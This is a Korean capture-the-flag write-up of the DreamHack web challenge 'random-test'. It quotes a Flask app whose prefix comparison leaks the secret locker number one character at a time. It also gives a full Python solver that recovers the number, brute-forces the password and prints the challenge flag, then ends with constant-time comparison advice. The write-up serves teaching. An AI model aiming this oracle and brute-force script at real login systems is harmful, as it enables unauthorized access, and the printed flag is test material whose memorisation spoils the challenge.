[🥉 Bronze 4] 부분 일치 누출로 4자리 사물함 번호 복원 — DreamHack random-test 풀이

문제: DreamHack — random-test 분류: Web 난이도: 🥉 Bronze 4 FLAG: DH{2e583205a2555b8890d141b51cee41379cead9a65a957e72d4a99568c0a2f955}

문제 개요

새 학기에 사물함을 배정받은 드림이가 사물함 번호와 비밀번호를 모두 잊어버렸다. 두 값을 맞게 입력하면 플래그가 나온다.

사물함 번호: 소문자·숫자로 이뤄진 4자리 랜덤 문자열
비밀번호: 100 이상 200 이하의 랜덤 정수

항목	내용
문제명	random-test
난이도	🥉 Bronze 4
분류	Web (Flask)
제공 파일 / 서버	`app.py` + `http://host8.dreamhack.games:22962/`
핵심 취약점	입력 길이만큼만 비교하는 prefix 일치 누출 (oracle)

순수 무차별 대입이면 사물함 번호 36⁴(=약 168만) × 비밀번호 101가지 ≈ 2.1억 조합이다. 그대로 다 때려보긴 비현실적이다.

하지만 서버 코드를 보면 비교 로직 한 줄이 정답을 한 글자씩 흘린다. 그 누출을 이용하면 같은 문제가 176번의 요청으로 줄어든다.

🔬 분석 — 서버 코드 한 줄이 전부

제공된 app.py에서 값 생성과 검증 부분만 보면 이렇다.

rand_str = ""
alphanumeric = string.ascii_lowercase + string.digits   # 36글자
for i in range(4):
    rand_str += str(random.choice(alphanumeric))
 
rand_num = random.randint(100, 200)
 
@app.route("/", methods=["GET", "POST"])
def index():
    if request.method == "GET":
        return render_template("index.html")
    else:
        locker_num = request.form.get("locker_num", "")
        password = request.form.get("password", "")
 
        if locker_num != "" and rand_str[0:len(locker_num)] == locker_num:
            if locker_num == rand_str and password == str(rand_num):
                return render_template("index.html", result="FLAG:" + FLAG)
            return render_template("index.html", result="Good")
        else:
            return render_template("index.html", result="Wrong!")

rand_str과 rand_num은 함수 밖, 모듈 최상단에서 생성된다. 프로세스가 살아 있는 동안 값이 바뀌지 않는다. 여러 번 나눠서 떠봐도 정답이 그대로 유지된다는 뜻이라, 글자 단위 복원이 성립한다.

노릴 곳은 rand_str[0:len(locker_num)] == locker_num 한 줄이다.

rand_str 전체와 비교하는 게 아니라, 내가 보낸 입력 길이만큼 잘라서 비교한다. locker_num이 정답의 앞부분(prefix)이기만 하면 안쪽 if로 들어가 "Good"을 돌려준다. prefix가 어긋나면 "Wrong!"이다.

세 가지 응답이 그대로 신호가 된다.

응답	의미
`Wrong!`	입력이 정답의 prefix가 아님
`Good`	입력이 정답의 prefix는 맞음 (전체 정답은 아직)
`FLAG:...`	사물함 번호 전체 + 비밀번호까지 정답

먼저 완전히 틀린 값(zzzz)을 넣어 Wrong!을 확인한다.

이번엔 한 글자 t만 보낸다. 정답의 첫 글자가 t라면 Good이 나와야 한다.

Good이 떴다. 한 글자만 맞아도 통과한다는 게 눈으로 확인됐다. 정답을 한 글자씩 떠볼 수 있는 oracle이 생긴 것이다.

💣 핵심 — prefix 비교가 만든 oracle

비밀번호를 한 글자씩 비교하다가 처음 틀리는 곳에서 멈추는 코드는 응답 시간으로 정답을 흘리는 timing 공격의 단골이다. 이 문제는 더 직접적이다. 부분 일치를 아예 "Good"이라는 명시적 신호로 알려준다.

공격 절차는 단순하다.

첫 자리: a, b, c … 36글자를 한 글자씩 보낸다. Good이 뜨는 글자가 첫 글자다.
둘째 자리: 찾은 첫 글자 뒤에 a~9를 붙여 두 글자로 보낸다. Good이 뜨면 그 글자가 둘째 글자.
같은 식으로 4자리까지 채우면 사물함 번호가 완성된다.

prefix oracle 동작 — Good/Wrong으로 한 글자씩 확정

자리당 최대 36회, 4자리니까 사물함 번호는 최대 144회면 복원된다. 평균은 절반인 72회 정도다.

사물함 번호 전체(locker_num == rand_str)를 맞춘 뒤에도 비밀번호가 틀리면 여전히 Good이 나온다. 그러니 사물함 번호가 확정된 다음 비밀번호 100~200을 차례로 넣어보면 된다. 여기는 최대 101회다.

사물함 전체는 맞고 비밀번호만 틀린 경우(tzl1 / 000)도 똑같이 Good이 나오는 걸 확인할 수 있다 — 두 단계를 가르는 기준은 오직 FLAG: 등장 여부다.

둘을 합쳐 최대 245회, 평균 200회 안쪽. 2.1억 조합이 사실상 선형 탐색으로 무너진다.

🎯 풀이 — 솔버 작성

requests 세션으로 POST를 날리고 응답 본문에 Wrong!이 없으면 prefix가 맞은 것으로 판정한다. 응답은 Good이든 FLAG:든 둘 다 "prefix 일치"이므로 Wrong! 부재 한 가지로 깔끔하게 갈린다.

def query(locker_num, password=""):
    r = s.post(URL, data={"locker_num": locker_num, "password": password}, timeout=10)
    return r.text
 
# 1) prefix oracle로 4글자 복원
locker = ""
for pos in range(4):
    for c in ALPHANUM:                 # ascii_lowercase + digits = 36글자
        if "Wrong!" not in query(locker + c):
            locker += c                # 이 자리 글자 확정
            break

사물함 번호가 완성되면 비밀번호만 무차별 대입한다.

# 2) 비밀번호 100~200 brute-force
for pw in range(100, 201):
    if "FLAG:" in query(locker, str(pw)):
        print(pw)                      # 정답 비밀번호
        break

🚀 Full Exploit

#!/usr/bin/python3
# random-test 솔버 — prefix 비교 oracle로 사물함 번호를 한 글자씩 복원하고,
# 비밀번호(100~200)를 무차별 대입해 FLAG를 얻는다.
import sys
import string
import requests
 
URL = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:8077/"
ALPHANUM = string.ascii_lowercase + string.digits  # 후보 36글자
 
s = requests.Session()
 
 
def query(locker_num, password=""):
    r = s.post(URL, data={"locker_num": locker_num, "password": password}, timeout=10)
    return r.text
 
 
# 1) prefix oracle로 4글자 사물함 번호 복원
#    rand_str[0:len(locker_num)] == locker_num 이면 "Good", 아니면 "Wrong!"
locker = ""
reqs = 0
for pos in range(4):
    for c in ALPHANUM:
        reqs += 1
        body = query(locker + c)
        if "Wrong!" not in body:          # "Good" 또는 "FLAG" → prefix 일치
            locker += c
            print(f"[+] pos {pos}: '{c}' -> locker = '{locker}'")
            break
    else:
        print("[-] 해당 위치에서 일치하는 글자 없음 — 중단")
        sys.exit(1)
 
print(f"[*] 복원된 사물함 번호: {locker}  ({reqs} requests)")
 
# 2) 비밀번호 무차별 대입 (100~200)
for pw in range(100, 201):
    reqs += 1
    body = query(locker, str(pw))
    if "FLAG:" in body:
        flag = body.split("FLAG:", 1)[1].split("<", 1)[0].strip()
        print(f"[+] 비밀번호: {pw}")
        print(f"[*] 총 요청 수: {reqs}")
        print(f"[FLAG] {flag}")
        break
else:
    print("[-] 비밀번호를 찾지 못함")

원격 서버에 그대로 돌린 결과다.

$ python3 solve.py http://host8.dreamhack.games:22962/
[+] pos 0: 't' -> locker = 't'
[+] pos 1: 'z' -> locker = 'tz'
[+] pos 2: 'l' -> locker = 'tzl'
[+] pos 3: '1' -> locker = 'tzl1'
[*] 복원된 사물함 번호: tzl1  (86 requests)
[+] 비밀번호: 189
[*] 총 요청 수: 176
[FLAG] DH{2e583205a2555b8890d141b51cee41379cead9a65a957e72d4a99568c0a2f955}

사물함 번호 tzl1을 86회 만에 복원하고, 비밀번호 189까지 총 176회 요청으로 플래그가 나왔다. 브라우저에서 같은 값을 직접 넣어도 동일하게 플래그가 출력된다.

DH{2e583205a2555b8890d141b51cee41379cead9a65a957e72d4a99568c0a2f955}

📝 결론

비밀은 전체를 한 번에 비교해야 한다.

이 문제의 결함은 rand_str[0:len(locker_num)] == locker_num 한 줄이다. 입력 길이에 맞춰 정답을 잘라 비교하는 순간, 맞은 자리가 어디까지인지가 응답에 드러난다.

부분 일치를 알려주면 곱셈이 덧셈이 된다.

원래 사물함 번호는 36 × 36 × 36 × 36의 곱셈 공간이다. 한 자리씩 확정 신호를 주면 36 + 36 + 36 + 36의 덧셈으로 줄어든다. 비밀번호 brute-force까지 더해도 245회면 끝난다. 이게 oracle 공격이 무서운 이유다.

현실에서도 같은 패턴이 반복된다.

로그인 실패 메시지를 "아이디 없음"과 "비밀번호 틀림"으로 나누면 계정 존재 여부가 새고, 비밀번호를 한 글자씩 비교하다 멈추면 응답 시간으로 정답이 샌다. 비교는 정답 길이 기준으로, 끝까지, 가능하면 상수 시간(hmac.compare_digest 같은)으로 하는 게 안전하다.

[🥉 Bronze 4] 부분 일치 누출로 4자리 사물함 번호 복원 — DreamHack random-test 풀이

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